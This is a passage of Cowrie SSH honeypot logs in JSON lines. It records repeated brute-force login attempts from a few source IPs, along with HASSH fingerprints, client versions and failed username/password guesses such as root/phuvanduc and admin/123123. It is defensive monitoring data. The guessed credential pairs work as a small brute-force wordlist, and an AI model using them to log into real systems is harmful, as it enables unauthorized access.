-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:37.407657Z","src_ip":"176.65.139.103","session":"568c0f3518db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:37.711210Z","src_ip":"176.65.139.103","session":"568c0f3518db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:38.796039Z","src_ip":"176.65.139.103","session":"568c0f3518db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34410,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40c2aa475dd","protocol":"ssh","message":"New connection: 176.65.139.103:34410 (10.17.0.5:22) [session: e40c2aa475dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:44.148484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:44.152446Z","src_ip":"176.65.139.103","session":"e40c2aa475dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:44.236950Z","src_ip":"176.65.139.103","session":"e40c2aa475dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:44.509313Z","src_ip":"176.65.139.103","session":"e40c2aa475dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:45.722646Z","src_ip":"176.65.139.103","session":"e40c2aa475dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34418,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5fdd0f82c84","protocol":"ssh","message":"New connection: 176.65.139.103:34418 (10.17.0.5:22) [session: e5fdd0f82c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:50.879799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:50.885066Z","src_ip":"176.65.139.103","session":"e5fdd0f82c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:50.968194Z","src_ip":"176.65.139.103","session":"e5fdd0f82c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:51.415716Z","src_ip":"176.65.139.103","session":"e5fdd0f82c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:52.519217Z","src_ip":"176.65.139.103","session":"e5fdd0f82c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38968,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb12152d878","protocol":"ssh","message":"New connection: 176.65.139.103:38968 (10.17.0.5:22) [session: 1cb12152d878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:57.317070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:57.322238Z","src_ip":"176.65.139.103","session":"1cb12152d878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:57.405429Z","src_ip":"176.65.139.103","session":"1cb12152d878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:57.654144Z","src_ip":"176.65.139.103","session":"1cb12152d878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:58.812740Z","src_ip":"176.65.139.103","session":"1cb12152d878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34122,"dst_ip":"10.17.0.5","dst_port":22,"session":"128da852b7be","protocol":"ssh","message":"New connection: 176.65.139.103:34122 (10.17.0.5:22) [session: 128da852b7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:03.886876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:03.891382Z","src_ip":"176.65.139.103","session":"128da852b7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:03.973251Z","src_ip":"176.65.139.103","session":"128da852b7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:04.343279Z","src_ip":"176.65.139.103","session":"128da852b7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:05.427887Z","src_ip":"176.65.139.103","session":"128da852b7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34154,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad0b4dd41a7","protocol":"ssh","message":"New connection: 176.65.139.103:34154 (10.17.0.5:22) [session: 7ad0b4dd41a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:10.509245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:10.514458Z","src_ip":"176.65.139.103","session":"7ad0b4dd41a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:10.596549Z","src_ip":"176.65.139.103","session":"7ad0b4dd41a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:10.845232Z","src_ip":"176.65.139.103","session":"7ad0b4dd41a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:11.951874Z","src_ip":"176.65.139.103","session":"7ad0b4dd41a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49980,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd1b431b6294","protocol":"ssh","message":"New connection: 159.203.92.129:49980 (159.203.135.109:22) [session: bd1b431b6294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.305715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.310952Z","src_ip":"159.203.92.129","session":"bd1b431b6294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.316204Z","src_ip":"159.203.92.129","session":"bd1b431b6294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"77777777","message":"login attempt [ansible/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.329472Z","src_ip":"159.203.92.129","session":"bd1b431b6294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39834,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e58cb5dd8a","protocol":"ssh","message":"New connection: 176.65.139.103:39834 (10.17.0.5:22) [session: 04e58cb5dd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.453269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.458089Z","src_ip":"176.65.139.103","session":"04e58cb5dd8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.539998Z","src_ip":"176.65.139.103","session":"04e58cb5dd8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:17.791564Z","src_ip":"176.65.139.103","session":"04e58cb5dd8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:18.335556Z","src_ip":"159.203.92.129","session":"bd1b431b6294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:18.925174Z","src_ip":"176.65.139.103","session":"04e58cb5dd8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"778f9989f39b","protocol":"ssh","message":"New connection: 176.65.139.103:50660 (10.17.0.5:22) [session: 778f9989f39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:24.084760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:24.088899Z","src_ip":"176.65.139.103","session":"778f9989f39b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:24.170943Z","src_ip":"176.65.139.103","session":"778f9989f39b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:24.422893Z","src_ip":"176.65.139.103","session":"778f9989f39b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:25.518939Z","src_ip":"176.65.139.103","session":"778f9989f39b","protocol":"ssh"}
